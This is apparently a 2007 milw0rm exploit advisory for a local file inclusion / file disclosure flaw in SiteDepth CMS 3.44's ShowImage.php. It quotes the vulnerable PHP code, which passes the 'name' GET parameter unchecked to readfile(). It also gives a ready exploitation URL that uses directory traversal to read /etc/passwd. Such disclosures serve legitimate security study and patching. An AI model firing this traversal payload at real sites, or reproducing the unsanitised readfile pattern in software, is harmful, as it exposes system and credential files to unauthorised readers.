SiteDepth CMS 3.44 (ShowImage.php name) File Disclosure Vulnerability

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[*] Sitedepth CMS 3.44 Local File Include LFI Exploit       
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[!] Application homepage :   http://www.sitedepth.com/
[!] Author               :   H4 / Team XPK 
[!] Contact              :   [email protected]
[!] Bug discovered       :   2006-11-07
[!] Bug published        :   2007-06-25

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Vuln. code: ShowImage.php


<?php

  include 'sitedepth.php';
  $content_type = 'image/jpeg';
  $filename = SD_DIRS_REPOS . '/html/' . $_GET['name'];
  $filename_show = $_GET['name'];
  header ('Content-type: ' . $content_type);
  header ('Content-Disposition: inline;    filename=' . $filename_show);
  readfile ($filename);   <-------------- BAD!   
?>

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[!] Exploitation : http://noobie.com/sitedepth/ShowImage.php?name=../../../../../../../../etc/passwd

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[!] Sometimes it`s time to give instead of taking :)

[!] Greetz to Angeldust & Streets and to rest of community.

# milw0rm.com [2007-06-25]